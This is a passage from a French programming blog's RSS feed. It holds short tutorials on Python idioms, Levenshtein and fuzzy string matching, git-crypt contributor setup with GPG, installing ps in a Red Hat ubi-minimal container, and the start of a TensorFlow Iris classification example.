                # In order to align the results with those of the Python Levenshtein package, if we choose to calculate the ratio
                # the cost of a substitution is 2. If we calculate just distance, then the cost of a substitution is 1.
                if ratio_calc == True:
                    cost = 2
                else:
                    cost = 1
            distance[row][col] = min(distance[row-1][col] + 1,      # Cost of deletions
                                 distance[row][col-1] + 1,          # Cost of insertions
                                 distance[row-1][col-1] + cost)     # Cost of substitutions
    if ratio_calc == True:
        # Computation of the Levenshtein Distance Ratio
        Ratio = ((len(s)+len(t)) - distance[row][col]) / (len(s)+len(t))
        return Ratio
    else:
        # print(distance) # Uncomment if you want to see the matrix showing how the algorithm computes the cost of deletions,
        # insertions and/or substitutions
        # This is the minimum number of edits needed to convert string a to string b
        return &amp;#34;The strings are {} edits away&amp;#34;.format(distance[row][col])
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Il existe aussi un package appelé &lt;code&gt;Levenshtein&lt;/code&gt; qui nous simplifie la vie.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Pour implémenter dans la logique floue pour comparer deux strings, on peut utiliser la distance de Levenshtein.</p>
<p>Voici le code permettant de calculer cette distance. Rien de particulier, on retrouve partout ce code sur internet.</p>
<pre tabindex="0"><code>import numpy as np
def levenshtein_ratio_and_distance(s, t, ratio_calc = False):
    &#34;&#34;&#34; levenshtein_ratio_and_distance:
        Calculates levenshtein distance between two strings.
        If ratio_calc = True, the function computes the
        levenshtein distance ratio of similarity between two strings
        For all i and j, distance[i,j] will contain the Levenshtein
        distance between the first i characters of s and the
        first j characters of t
    &#34;&#34;&#34;
    # Initialize matrix of zeros
    rows = len(s)+1
    cols = len(t)+1
    distance = np.zeros((rows,cols),dtype = int)

    # Populate matrix of zeros with the indeces of each character of both strings
    for i in range(1, rows):
        for k in range(1,cols):
            distance[i][0] = i
            distance[0][k] = k

    # Iterate over the matrix to compute the cost of deletions,insertions and/or substitutions    
    for col in range(1, cols):
        for row in range(1, rows):
            if s[row-1] == t[col-1]:
                cost = 0 # If the characters are the same in the two strings in a given position [i,j] then the cost is 0
            else:
                # In order to align the results with those of the Python Levenshtein package, if we choose to calculate the ratio
                # the cost of a substitution is 2. If we calculate just distance, then the cost of a substitution is 1.
                if ratio_calc == True:
                    cost = 2
                else:
                    cost = 1
            distance[row][col] = min(distance[row-1][col] + 1,      # Cost of deletions
                                 distance[row][col-1] + 1,          # Cost of insertions
                                 distance[row-1][col-1] + cost)     # Cost of substitutions
    if ratio_calc == True:
        # Computation of the Levenshtein Distance Ratio
        Ratio = ((len(s)+len(t)) - distance[row][col]) / (len(s)+len(t))
        return Ratio
    else:
        # print(distance) # Uncomment if you want to see the matrix showing how the algorithm computes the cost of deletions,
        # insertions and/or substitutions
        # This is the minimum number of edits needed to convert string a to string b
        return &#34;The strings are {} edits away&#34;.format(distance[row][col])
</code></pre><p>Il existe aussi un package appelé <code>Levenshtein</code> qui nous simplifie la vie.</p>
<pre tabindex="0"><code>&gt;&gt;&gt; import Levenshtein as lev

&gt;&gt;&gt; string_1 = &#34;Lean Deep.&#34;
&gt;&gt;&gt; string_2 = &#34;leandeep&#34;

&gt;&gt;&gt; distance = lev.distance(string_1.lower(), string_2.lower()),
&gt;&gt;&gt; print(distance)

(1,)

&gt;&gt;&gt; ratio = lev.ratio(Str1.lower(),Str2.lower())
&gt;&gt;&gt; print(ratio)

0.9473684210526315
</code></pre><br/>
<p><strong>Et surtout il existe le package <code>fuzzywuzzy</code></strong> qui contient des fonctions avancées pas présentes dans le package <code>Levenshtein</code> qui vont nous permettre de gérer des cas plus complexes comme le &ldquo;substring matching&rdquo;; très utile pour extraire des bribes d&rsquo;informations de textes.</p>
<pre tabindex="0"><code>&gt;&gt;&gt; from fuzzywuzzy import fuzz

&gt;&gt;&gt; string_1 = &#34;Lean Deep&#34;
&gt;&gt;&gt; string_2 = &#34;deep&#34;
&gt;&gt;&gt; ratio = fuzz.ratio(string_1.lower(), string_2.lower())
&gt;&gt;&gt; partial_ratio = fuzz.partial_ratio(string_1.lower(), string_2.lower())
&gt;&gt;&gt; print(ratio)
&gt;&gt;&gt; print(partial_ratio)

50
100
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Eviter les if ou try/except avec les dictionnaires</title>
            <link>https://leandeep.com/eviter-les-if-ou-try/except-avec-les-dictionnaires/</link>
            <pubDate>Thu, 16 Jan 2020 01:20:04 -0700</pubDate>
            
            <guid>https://leandeep.com/eviter-les-if-ou-try/except-avec-les-dictionnaires/</guid>
            <description>&lt;p&gt;Manipuler des dictionnaires Python est facile.
Pour les transformer on peut utiliser des &lt;em&gt;dict comprehension&lt;/em&gt;. Par exemple, pour inverser un dictionnaire on peut le faire en une ligne de code.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;prenoms = {&amp;#39;titi&amp;#39;: 1, &amp;#39;tata&amp;#39;: 2, &amp;#39;toto&amp;#39;: 3}
invert_prenoms = {v: k for k, v in prenoms.iteritems()}
print(invert_prenoms)
{1: &amp;#39;titi&amp;#39;, 2: &amp;#39;tata&amp;#39;, 3: &amp;#39;toto&amp;#39;}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Pour sélectionner une valeur à partir d&amp;rsquo;une clé, on peut&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;soit tester si une clé existe dans le dict ou catcher l&amp;rsquo;exception &lt;code&gt;KeyError&lt;/code&gt; avec &lt;code&gt;try&lt;/code&gt;/&lt;code&gt;except&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ou on peut utiliser un &lt;code&gt;defaultdict&lt;/code&gt;&lt;/strong&gt;, ce qui permet d&amp;rsquo;avoir du code plus propre, et plus facilement testable.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;anti-pattern-pas-bien&#34;&gt;Anti-pattern (Pas bien!)&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; prenom_occurrences = {&amp;#39;titi&amp;#39;: [], &amp;#39;tata&amp;#39;: []}
&amp;gt;&amp;gt;&amp;gt; prenom_occurrences[&amp;#39;toto&amp;#39;]
KeyError: &amp;#39;toto&amp;#39;

# Option 1
&amp;gt;&amp;gt;&amp;gt; if &amp;#39;toto&amp;#39; not in prenom_occurrences:
    prenom_occurrences[&amp;#39;c&amp;#39;] = []

&amp;gt;&amp;gt;&amp;gt; prenom_occurrences[&amp;#39;toto&amp;#39;]
[]

# Option 2
&amp;gt;&amp;gt;&amp;gt; try:
        print(prenom_occurrences[&amp;#39;tutu&amp;#39;])
    except: 
        print(&amp;#34;There is no character &amp;#39;tutu&amp;#39; in the string&amp;#34;)
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;bonne-pratique-bien&#34;&gt;Bonne pratique (Bien!)&lt;/h2&gt;
&lt;p&gt;Utiliser defaultdict du module &lt;code&gt;collections&lt;/code&gt;.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Manipuler des dictionnaires Python est facile.
Pour les transformer on peut utiliser des <em>dict comprehension</em>. Par exemple, pour inverser un dictionnaire on peut le faire en une ligne de code.</p>
<pre tabindex="0"><code>prenoms = {&#39;titi&#39;: 1, &#39;tata&#39;: 2, &#39;toto&#39;: 3}
invert_prenoms = {v: k for k, v in prenoms.iteritems()}
print(invert_prenoms)
{1: &#39;titi&#39;, 2: &#39;tata&#39;, 3: &#39;toto&#39;}
</code></pre><p>Pour sélectionner une valeur à partir d&rsquo;une clé, on peut</p>
<ul>
<li>soit tester si une clé existe dans le dict ou catcher l&rsquo;exception <code>KeyError</code> avec <code>try</code>/<code>except</code></li>
<li><strong>ou on peut utiliser un <code>defaultdict</code></strong>, ce qui permet d&rsquo;avoir du code plus propre, et plus facilement testable.</li>
</ul>
<h2 id="anti-pattern-pas-bien">Anti-pattern (Pas bien!)</h2>
<pre tabindex="0"><code>&gt;&gt;&gt; prenom_occurrences = {&#39;titi&#39;: [], &#39;tata&#39;: []}
&gt;&gt;&gt; prenom_occurrences[&#39;toto&#39;]
KeyError: &#39;toto&#39;

# Option 1
&gt;&gt;&gt; if &#39;toto&#39; not in prenom_occurrences:
    prenom_occurrences[&#39;c&#39;] = []

&gt;&gt;&gt; prenom_occurrences[&#39;toto&#39;]
[]

# Option 2
&gt;&gt;&gt; try:
        print(prenom_occurrences[&#39;tutu&#39;])
    except: 
        print(&#34;There is no character &#39;tutu&#39; in the string&#34;)
</code></pre><h2 id="bonne-pratique-bien">Bonne pratique (Bien!)</h2>
<p>Utiliser defaultdict du module <code>collections</code>.</p>
<pre tabindex="0"><code>&gt;&gt;&gt; from collections import defaultdict
&gt;&gt;&gt; prenom_occurrences = {&#39;titi&#39;: [], &#39;tata&#39;: []}
&gt;&gt;&gt; prenoms = defaultdict(dict)
&gt;&gt;&gt; prenoms.update(prenom_occurrences)
&gt;&gt;&gt; prenoms[&#39;titi&#39;]
[]

&gt;&gt;&gt; prenoms[&#39;tata&#39;].append(&#39;toto&#39;)
&gt;&gt;&gt; prenoms[&#39;tata&#39;].append(&#39;tutu&#39;)
&gt;&gt;&gt; prenoms[&#39;tata&#39;]
[&#39;toto&#39;, &#39;tutu&#39;]
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Slicer de manière Pythonique un set</title>
            <link>https://leandeep.com/slicer-de-mani%C3%A8re-pythonique-un-set/</link>
            <pubDate>Wed, 15 Jan 2020 15:20:04 -0700</pubDate>
            
            <guid>https://leandeep.com/slicer-de-mani%C3%A8re-pythonique-un-set/</guid>
            <description>&lt;p&gt;Ce tip décrit comment slicer (découper) un set de manière Pythonique.&lt;/p&gt;
&lt;p&gt;Les sets sont des &lt;em&gt;iterables&lt;/em&gt;. On peut donc utiliser la méthode &lt;code&gt;itertools.islice&lt;/code&gt; qui va nous permettre de créer un &lt;em&gt;iterator&lt;/em&gt; construit à partir d&amp;rsquo;un sous-ensemble du set de départ.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;import itertools

prenoms_list = [&amp;#39;titi&amp;#39;, &amp;#39;tata&amp;#39;, &amp;#39;totot&amp;#39;, &amp;#39;titi&amp;#39;]
prenoms_set = set(prenoms_list)
small_prenoms_set = set(itertools.islice(prenoms_set, 2))
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Ce tip décrit comment slicer (découper) un set de manière Pythonique.</p>
<p>Les sets sont des <em>iterables</em>. On peut donc utiliser la méthode <code>itertools.islice</code> qui va nous permettre de créer un <em>iterator</em> construit à partir d&rsquo;un sous-ensemble du set de départ.</p>
<pre tabindex="0"><code>import itertools

prenoms_list = [&#39;titi&#39;, &#39;tata&#39;, &#39;totot&#39;, &#39;titi&#39;]
prenoms_set = set(prenoms_list)
small_prenoms_set = set(itertools.islice(prenoms_set, 2))
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Utiliser zip pour itérer sur deux listes</title>
            <link>https://leandeep.com/utiliser-zip-pour-it%C3%A9rer-sur-deux-listes/</link>
            <pubDate>Tue, 14 Jan 2020 21:20:04 -0700</pubDate>
            
            <guid>https://leandeep.com/utiliser-zip-pour-it%C3%A9rer-sur-deux-listes/</guid>
            <description>&lt;p&gt;La bonne approche pour itérer sur deux listes est de créer deux variables, par exemple &lt;code&gt;liste_un&lt;/code&gt; et &lt;code&gt;liste_deux&lt;/code&gt; et d&amp;rsquo;utiliser &lt;code&gt;zip&lt;/code&gt; en passant en paramètre les 2 variables.&lt;/p&gt;
&lt;h2 id=&#34;anti-pattern-pas-bien&#34;&gt;Anti-pattern (Pas bien!)&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;nombres = [1, 2, 3]
prenoms = [&amp;#34;titi&amp;#34;, &amp;#34;tata&amp;#34;, &amp;#34;toto&amp;#34;]


for idx in range(len(nombres)):
    print(nombres[idx], prenoms[idx])
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;bonne-pratique-bien&#34;&gt;Bonne pratique (Bien!)&lt;/h2&gt;
&lt;p&gt;Dans les 2 cas, le résultat est identique à savoir:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;1 titi
2 tata
3 toto
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Mais voici une manière plus Pythonique d&amp;rsquo;itérer sur ces 2 listes.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>La bonne approche pour itérer sur deux listes est de créer deux variables, par exemple <code>liste_un</code> et <code>liste_deux</code> et d&rsquo;utiliser <code>zip</code> en passant en paramètre les 2 variables.</p>
<h2 id="anti-pattern-pas-bien">Anti-pattern (Pas bien!)</h2>
<pre tabindex="0"><code>nombres = [1, 2, 3]
prenoms = [&#34;titi&#34;, &#34;tata&#34;, &#34;toto&#34;]


for idx in range(len(nombres)):
    print(nombres[idx], prenoms[idx])
</code></pre><br/>
<h2 id="bonne-pratique-bien">Bonne pratique (Bien!)</h2>
<p>Dans les 2 cas, le résultat est identique à savoir:</p>
<pre tabindex="0"><code>1 titi
2 tata
3 toto
</code></pre><p>Mais voici une manière plus Pythonique d&rsquo;itérer sur ces 2 listes.</p>
<pre tabindex="0"><code>nombres = [1, 2, 3]
prenoms = [&#34;titi&#34;, &#34;tata&#34;, &#34;toto&#34;]

for nombre, prenom in zip(nombres, prenoms):
    print(nombre, prenom)
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Utiliser une boucle non Pythonique</title>
            <link>https://leandeep.com/utiliser-une-boucle-non-pythonique/</link>
            <pubDate>Sat, 11 Jan 2020 21:20:04 -0700</pubDate>
            
            <guid>https://leandeep.com/utiliser-une-boucle-non-pythonique/</guid>
            <description>&lt;p&gt;Pour accéder aux éléments d&amp;rsquo;une liste et afficher l&amp;rsquo;index des éléments, il vaut mieux privilégier l&amp;rsquo;utilisation d&amp;rsquo;&lt;code&gt;enumerate()&lt;/code&gt; sur la liste plutôt que de créer une boucle et d&amp;rsquo;incrémenter la valeur de l&amp;rsquo;index.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;anti-pattern-pas-bien&#34;&gt;Anti-pattern (Pas bien!)&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;prenoms = [&amp;#34;titi&amp;#34;, &amp;#34;tata&amp;#34;, &amp;#34;toto&amp;#34;]

for idx in range(0, len(prenoms)):
    prenom = l[idx]
    print(idx, prenom)
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;bonne-pratique-bien&#34;&gt;Bonne pratique (Bien!)&lt;/h2&gt;
&lt;p&gt;Voici la manière plus Pythonique d&amp;rsquo;itérérer sur une liste.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;prenoms = [&amp;#34;titi&amp;#34;, &amp;#34;tata&amp;#34;, &amp;#34;toto&amp;#34;]

for idx, prenom in enumerate(prenoms):
    print(idx, prenom)
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Pour accéder aux éléments d&rsquo;une liste et afficher l&rsquo;index des éléments, il vaut mieux privilégier l&rsquo;utilisation d&rsquo;<code>enumerate()</code> sur la liste plutôt que de créer une boucle et d&rsquo;incrémenter la valeur de l&rsquo;index.</p>
<br/>
<h2 id="anti-pattern-pas-bien">Anti-pattern (Pas bien!)</h2>
<pre tabindex="0"><code>prenoms = [&#34;titi&#34;, &#34;tata&#34;, &#34;toto&#34;]

for idx in range(0, len(prenoms)):
    prenom = l[idx]
    print(idx, prenom)
</code></pre><br/>
<h2 id="bonne-pratique-bien">Bonne pratique (Bien!)</h2>
<p>Voici la manière plus Pythonique d&rsquo;itérérer sur une liste.</p>
<pre tabindex="0"><code>prenoms = [&#34;titi&#34;, &#34;tata&#34;, &#34;toto&#34;]

for idx, prenom in enumerate(prenoms):
    print(idx, prenom)
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Ajouter un contributeur dans un repo git sécurisé avec git-crypt</title>
            <link>https://leandeep.com/ajouter-un-contributeur-dans-un-repo-git-s%C3%A9curis%C3%A9-avec-git-crypt/</link>
            <pubDate>Fri, 10 Jan 2020 19:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/ajouter-un-contributeur-dans-un-repo-git-s%C3%A9curis%C3%A9-avec-git-crypt/</guid>
            <description>&lt;h2 id=&#34;pré-requis&#34;&gt;Pré-requis&lt;/h2&gt;
&lt;p&gt;Installer &lt;code&gt;GPG&lt;/code&gt; et &lt;code&gt;git-crypt&lt;/code&gt; localement&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Sur OSX:&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;brew install gpg
brew install git-crypt
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Sur Linux Ubuntu/ Debian:&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;apt-get install gnupg git-crypt gnupg-agent -y
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;verification-de-linstallation&#34;&gt;Verification de l&amp;rsquo;installation&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;gpg --gen-key
gpg --list-keys
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Generate a new GPG key
On the new developer laptop execute:&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;generate-a-new-gpg-key&#34;&gt;Generate a new GPG key&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;gpg --gen-key
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;get-the-public-key-id&#34;&gt;Get the public key ID&lt;/h2&gt;
&lt;p&gt;Send the key to an admin to trust it and add it to git-crypt repo DB&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="pré-requis">Pré-requis</h2>
<p>Installer <code>GPG</code> et <code>git-crypt</code> localement</p>
<br/>
<p><strong>Sur OSX:</strong></p>
<pre tabindex="0"><code>brew install gpg
brew install git-crypt
</code></pre><br/>
<p><strong>Sur Linux Ubuntu/ Debian:</strong></p>
<pre tabindex="0"><code>apt-get install gnupg git-crypt gnupg-agent -y
</code></pre><br/>
<h2 id="verification-de-linstallation">Verification de l&rsquo;installation</h2>
<pre tabindex="0"><code>gpg --gen-key
gpg --list-keys
</code></pre><p>Generate a new GPG key
On the new developer laptop execute:</p>
<br/>
<h2 id="generate-a-new-gpg-key">Generate a new GPG key</h2>
<pre tabindex="0"><code>gpg --gen-key
</code></pre><br/>
<h2 id="get-the-public-key-id">Get the public key ID</h2>
<p>Send the key to an admin to trust it and add it to git-crypt repo DB</p>
<pre tabindex="0"><code>gpg --list-keys
# example 4037B9596FB8CF790CF5D2BB66281416CB86764B
</code></pre><br/>
<h2 id="export-the-gpg-keys-to-a-file">Export the GPG keys to a file</h2>
<pre tabindex="0"><code># If your machine contains one GPG key
gpg --armor --export --output /tmp/user_pubkey.gpg

# Else
gpg --export -a CEDFA26469..................CEC966794F8D &gt; /tmp/olivier_pubkey.gpg
</code></pre><p>Send to file to a repository contributor/ admin.</p>
<br/>
<h2 id="import-the-public-key-locally">Import the public key locally</h2>
<p>On the admin laptop import the public key to GPG local DB and trust it.</p>
<pre tabindex="0"><code>gpg --import /tmp/user_pubkey.gpg

# Trust the public key
gpg --edit-key F987DFB4E7F6B40A03FC152A3C3B8C1BDB3C11EF trust quit
5 
y
</code></pre><br/>
<h2 id="add-the-trusted-key-on-git-repo">Add the trusted key on git repo</h2>
<p>On the admin laptop add the public key to the repo (it automatically creates a commit)</p>
<pre tabindex="0"><code>git-crypt add-gpg-user 4037B9596FB8CF990CF5D2BB66281416CB86764B
# Replace the example key bellow with the new developer key: example 4037B9596FB8CF790CF5D2BCC3281416CB86764B
</code></pre><br/>
<h2 id="push-the-change-to-git">Push the change to git</h2>
<p>Just git push. On the previous step a commit has been automatically created (git log to see it)</p>
]]></content>
        </item>
        
        <item>
            <title>Lister les process Linux dans une image redhat ubi-minimal</title>
            <link>https://leandeep.com/lister-les-process-linux-dans-une-image-redhat-ubi-minimal/</link>
            <pubDate>Fri, 10 Jan 2020 19:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/lister-les-process-linux-dans-une-image-redhat-ubi-minimal/</guid>
            <description>&lt;p&gt;&lt;code&gt;ps&lt;/code&gt; n&amp;rsquo;est pas disponible dans les nouvelles images minimales Redhat &lt;code&gt;ubi8-minimal&lt;/code&gt;. Voici un article de RedHat expliquant ce que sont ces images &lt;a href=&#34;https://www.redhat.com/en/blog/introducing-red-hat-universal-base-image&#34;&gt;https://www.redhat.com/en/blog/introducing-red-hat-universal-base-image&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Pour réaliser un &lt;code&gt;ps aux&lt;/code&gt;, cela va être compliqué&amp;hellip;&lt;/p&gt;
&lt;p&gt;2 options s&amp;rsquo;offrent à nous:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Option 1: Soit On veut ajouter &lt;em&gt;at vitam eternam&lt;/em&gt; le binaire &lt;code&gt;ps&lt;/code&gt; dans son container/ ou pod.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Option 2: Ou soit on veut ajouter &lt;code&gt;ps&lt;/code&gt; une fois que le container ou pod a démarré (juste une fois).&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p><code>ps</code> n&rsquo;est pas disponible dans les nouvelles images minimales Redhat <code>ubi8-minimal</code>. Voici un article de RedHat expliquant ce que sont ces images <a href="https://www.redhat.com/en/blog/introducing-red-hat-universal-base-image">https://www.redhat.com/en/blog/introducing-red-hat-universal-base-image</a></p>
<p>Pour réaliser un <code>ps aux</code>, cela va être compliqué&hellip;</p>
<p>2 options s&rsquo;offrent à nous:</p>
<ul>
<li>
<p>Option 1: Soit On veut ajouter <em>at vitam eternam</em> le binaire <code>ps</code> dans son container/ ou pod.</p>
</li>
<li>
<p>Option 2: Ou soit on veut ajouter <code>ps</code> une fois que le container ou pod a démarré (juste une fois).</p>
</li>
</ul>
<br/>
<h2 id="option-1">Option 1</h2>
<p>Il faut surcharger l&rsquo;image Docker <code>ubi8-minimal</code>. Il suffit de faire dans un nouveau Dockerfile:</p>
<pre tabindex="0"><code>FROM registry.access.redhat.com/ubi8-minimal
RUN microdnf update &amp;&amp; microdnf install procps; 
</code></pre><p>Et suite, la builder et la pusher sur votre propre registry Docker.</p>
<br/>
<h2 id="option-2">Option 2</h2>
<p>Entrer dans le container/ pod qui tourne et exécuter les commandes suivantes:</p>
<pre tabindex="0"><code>kubectl exec -it MON_POD_ID bash
microdnf update &amp;&amp; microdnf install procps
</code></pre><br/>
<h2 id="jouer-avec-ps">Jouer avec ps</h2>
<p>Voir l&rsquo;utilisation de la mémoire des processes:</p>
<pre tabindex="0"><code>ps -o pid,user,%mem,command ax | sort -b -k3 -r
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Demander Pardon plutôt que la permission</title>
            <link>https://leandeep.com/demander-pardon-plut%C3%B4t-que-la-permission/</link>
            <pubDate>Sat, 04 Jan 2020 21:20:04 -0700</pubDate>
            
            <guid>https://leandeep.com/demander-pardon-plut%C3%B4t-que-la-permission/</guid>
            <description>&lt;p&gt;La communauté Python utilise le coding style appelé EAFP (&lt;strong&gt;E&lt;/strong&gt;asier to &lt;strong&gt;A&lt;/strong&gt;sk for &lt;strong&gt;F&lt;/strong&gt;orgiveness than &lt;strong&gt;P&lt;/strong&gt;ermission) au lieu du style LBYL (&lt;strong&gt;L&lt;/strong&gt;ook &lt;strong&gt;B&lt;/strong&gt;efore &lt;strong&gt;Y&lt;/strong&gt;ou &lt;strong&gt;L&lt;/strong&gt;eap). Ce coding style suppose que les fichiers et variables existent. En d&amp;rsquo;autres termes, plutôt que de tester toutes les pré-conditions, les problèmes éventuels sont &amp;ldquo;catchés&amp;rdquo; comme des exceptions. &lt;code&gt;EAFP&lt;/code&gt; est plus pertinent que &lt;code&gt;LBYL&lt;/code&gt; car il est presque impossible d&amp;rsquo;anticiper tous les problèmes. Le code Python est donc généralement plus concis, plus clair et rempli de &lt;code&gt;try&lt;/code&gt; &lt;code&gt;except&lt;/code&gt;.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>La communauté Python utilise le coding style appelé EAFP (<strong>E</strong>asier to <strong>A</strong>sk for <strong>F</strong>orgiveness than <strong>P</strong>ermission) au lieu du style LBYL (<strong>L</strong>ook <strong>B</strong>efore <strong>Y</strong>ou <strong>L</strong>eap). Ce coding style suppose que les fichiers et variables existent. En d&rsquo;autres termes, plutôt que de tester toutes les pré-conditions, les problèmes éventuels sont &ldquo;catchés&rdquo; comme des exceptions. <code>EAFP</code> est plus pertinent que <code>LBYL</code> car il est presque impossible d&rsquo;anticiper tous les problèmes. Le code Python est donc généralement plus concis, plus clair et rempli de <code>try</code> <code>except</code>.</p>
<br/>
<h2 id="anti-pattern-pas-bien">Anti-pattern (Pas bien!)</h2>
<pre tabindex="0"><code>import os

if os.path.exists(&#34;mon_fichier.txt&#34;):
    os.unlink(&#34;mon_fichier.txt&#34;)
</code></pre><br/>
<h2 id="bonne-pratique-bien">Bonne pratique (Bien!)</h2>
<p>Contrairement au code ci-dessus qui check si mon_fichier.txt existe avant de l&rsquo;utiliser, on suppose qu&rsquo;il existe bien et on catch les éventuelles exceptions.</p>
<pre tabindex="0"><code>import os

try:
    os.unlink(&#34;file.txt&#34;)
except OSError:
    pass
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Classification avec Tensorflow 2</title>
            <link>https://leandeep.com/classification-avec-tensorflow-2/</link>
            <pubDate>Sat, 04 Jan 2020 18:12:00 +0200</pubDate>
            
            <guid>https://leandeep.com/classification-avec-tensorflow-2/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Dans cet article, nous allons entrainer un modèle à classifier les Iris avec 2 algorithmes différents présents dans Tensorflow 2:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Régression logistique&lt;/li&gt;
&lt;li&gt;Gradient boosting&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Nous allons utiliser le dataset opensource Iris.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Attention l&amp;rsquo;algorithme &amp;ldquo;Régression logistique&amp;rdquo; prête à confusion. Même si le nom de cet algorithme contient régression, il permet de faire de la classification et donc de prédire une catégorie et non une valeur continue.&lt;/p&gt;&lt;/blockquote&gt;
&lt;br/&gt;
&lt;h2 id=&#34;régression-logistique&#34;&gt;Régression logistique&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Chargement des modules:&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Dans cet article, nous allons entrainer un modèle à classifier les Iris avec 2 algorithmes différents présents dans Tensorflow 2:</p>
<ul>
<li>Régression logistique</li>
<li>Gradient boosting</li>
</ul>
<p>Nous allons utiliser le dataset opensource Iris.</p>
<blockquote>
<p>Attention l&rsquo;algorithme &ldquo;Régression logistique&rdquo; prête à confusion. Même si le nom de cet algorithme contient régression, il permet de faire de la classification et donc de prédire une catégorie et non une valeur continue.</p></blockquote>
<br/>
<h2 id="régression-logistique">Régression logistique</h2>
<p><strong>Chargement des modules:</strong></p>
<pre tabindex="0"><code>from __future__ import print_function, division, unicode_literals, absolute_import

import seaborn as sb
import pandas as pd
import tensorflow as tf
from tensorflow import keras
from tensorflow.estimator import LinearClassifier
from sklearn.model_selection import train_test_split
from sklearn.metrics import accuracy_score, recall_score, precision_score
</code></pre><br/>
<p><strong>Chargement du dataset Iris:</strong></p>
<pre tabindex="0"><code>columns_names = [&#39;SepalLength&#39;, &#39;SepalWidth&#39;, &#39;PetalLength&#39;, &#39;PetalWidth&#39;, &#39;Species&#39;]
target_dimensions = [&#39;Setosa&#39;, &#39;Versicolor&#39;, &#39;Virginica&#39;]

training_data_path = tf.keras.utils.get_file(&#34;iris_training.csv&#34;, &#34;https://storage.googleapis.com/download.tensorflow.org/data/iris_training.csv&#34;)
test_data_path = tf.keras.utils.get_file(&#34;iris_test.csv&#34;, &#34;https://storage.googleapis.com/download.tensorflow.org/data/iris_test.csv&#34;)

training = pd.read_csv(training_data_path, names=columns_names, header=0)
training = training[training[&#39;Species&#39;] &gt;= 1]
training[&#39;Species&#39;] = training[&#39;Species&#39;].replace([1,2], [0,1])
test = pd.read_csv(test_data_path, names=columns_names, header=0)
test = test[test[&#39;Species&#39;] &gt;= 1]
test[&#39;Species&#39;] = test[&#39;Species&#39;].replace([1,2], [0,1])

# On retire l&#39;index
training.reset_index(drop=True, inplace=True)
test.reset_index(drop=True, inplace=True)

iris_dataset = pd.concat([training, test], axis=0)

iris_dataset.describe()
</code></pre><br/>
<p><strong>Affichage des corrélations entre les données:</strong></p>
<pre tabindex="0"><code>sb.pairplot(iris_dataset, diag_kind=&#34;kde&#34;)

correlation_data = iris_dataset.corr()
correlation_data.style.background_gradient(cmap=&#39;coolwarm&#39;, axis=None)
</code></pre><br/>
<p><strong>Statistiques (Tendence générale et dispersion):</strong></p>
<pre tabindex="0"><code>stats = iris_dataset.describe()
iris_stats = stats.transpose()
iris_stats
</code></pre><br/>
<p><strong>Sélection des colonnes:</strong></p>
<pre tabindex="0"><code>X_data = iris_dataset[[m for m in iris_dataset.columns if m not in [&#39;Species&#39;]]]
Y_data = iris_dataset[[&#39;Species&#39;]]
</code></pre><br/>
<p><strong>Split Train Test:</strong></p>
